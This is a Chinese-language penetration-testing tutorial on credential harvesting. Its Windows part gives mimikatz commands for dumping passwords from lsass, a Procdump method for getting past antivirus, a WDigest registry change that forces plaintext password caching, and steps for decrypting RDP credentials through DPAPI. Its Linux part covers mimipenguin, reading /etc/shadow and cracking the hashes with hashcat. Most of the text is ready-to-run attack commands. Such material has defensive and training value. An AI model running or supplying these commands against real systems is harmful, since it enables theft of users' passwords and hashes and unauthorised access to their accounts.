概述

凭据抓取是内网渗透中获取可用凭据(明文密码、NTLM Hash、Kerberos 票据等)的关键环节,主要从内存、磁盘文件、注册表等位置提取。

Windows 密码获取

适用环境

微软为了防止明文密码泄露发布了补丁 KB2871997,关闭了 Wdigest 功能。

当系统为 Win10 或 2012R2 以上时,默认在内存缓存中禁止保存明文密码,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。

原理

mimikatz 是一款功能强大的轻量级调试神器,通过它可以提升进程权限、注入进程、读取进程内存,直接从 lsass.exe 进程中获取系统用户名和密码。

lsass.exe 是微软 Windows 系统的安全机制,主要用于本地安全和登录策略。通常我们在登录系统之后,密码便会储存在 lsass 内存中,经过 wdigest 和 tspkg 两个模块调用,对其使用可逆算法进行加密并存储在内存中,mimikatz 正是对 lsass 逆算获取密码。

Mimikatz 模块

cls:清屏
standard:标准模块,基本命令
crypto:加密相关模块
sekurlsa:与证书相关模块
kerberos:kerberos模块
privilege:提权模块
process:进程模块
service:服务模块
lsadump:lsadump模块
ts:终端服务器模块
event:事件模块
misc:杂项模块
token:令牌操作模块
vault:windows证书模块
minesweeper:Mine Sweeper模块
net:
dpapi:DPAPI模块(通过API或者RAW访问)
busylight:Busylight 模块
sysenv:系统环境模块
sid:安全标识符模块
iis:IIS XML配置模块
rpc:mimikatz的RPC控制
sr98:用于SR98设备和Tss77目标的RF模块
rdm:RDM器件的射频模块
acr:acr模块
version:查看版本
exit:退出

在线读

https://github.com/gentilkiwi/mimikatz

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

离线读

https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

Procdump 是微软官方的工具,可在命令行将 lsass 导出且杀软不会拦截,适合在 Mimikatz 被拦截时使用。

实验1:针对防护拦截(Mimikatz 被拦截)

Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.DMP"
sekurlsa::logonPasswords full

实验2:针对高版本但有存储(管理员登陆过,密码留在了内存中)

Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.DMP"
sekurlsa::logonPasswords full

解决高版本(开启 Wdigest 明文抓取)

思路:修改注册表 + 强制锁屏 + 等待系统管理员重新登录 + 截取明文密码。

修改注册表来让 Wdigest Auth 保存明文口令:

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

之后模拟用户重新登陆,即可成功抓取明文密码。

密码破解

hashcat

-m 密文类型  
-a 破解类型  
?l 小写  
?s 符号  
?d 数字

RDP 凭据抓取

查看连接记录:

cmdkey /list

查找本地的 Credentials:

dir /a %userprofile%\appdata\local\microsoft\credentials\*

Credentials 记录 guidMasterKey 值:

mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B

找到 guidMasterKey 对应的 MasterKey:

mimikatz sekurlsa::dpapi

解密指定的 MasterKey 凭据:

mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B /masterkey:9c0ed75255d7b011294cb4944560608667e3a19bdf3ee5b0f1a58775a96e3c48aa8e5f2070bb65f774f401b13e548e99181c20dd29a7952c31031e754f59efd2

Linux 密码获取

适用环境(mimipenguin)

Kali 4.3.0 (rolling) x64 (gdm3)
Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
VSFTPd 3.0.3-8+b1 (Active FTP client connections)
Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions)
openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)

操作

chmod 755 ./mimipenguin.sh
./mimipenguin.sh

密码破解

cat /etc/shadow
hashcat.exe -a 3 -m 1800 linuxhash.txt pass.txt

加密形式(通过密文前缀判断):

  • linux sha512crypt $6$, SHA512 (Unix) 加密方式:
hashcat -m 1800 sha512linux.txt p.txt
  • linux sha256crypt $5$, SHA256 (Unix) 加密方式:
hashcat -m 7400 sha256linux.txt p.txt
  • linux md5crypt $1$, MD5 (Unix), Cisco-IOS 加密方式:
hashcat -m 500 linuxmd5.txt p.txt
  • linux bcrypt $2*$, Blowfish (Unix) 加密方式:
hashcat -m 3200 linuxmd5.txt p.txt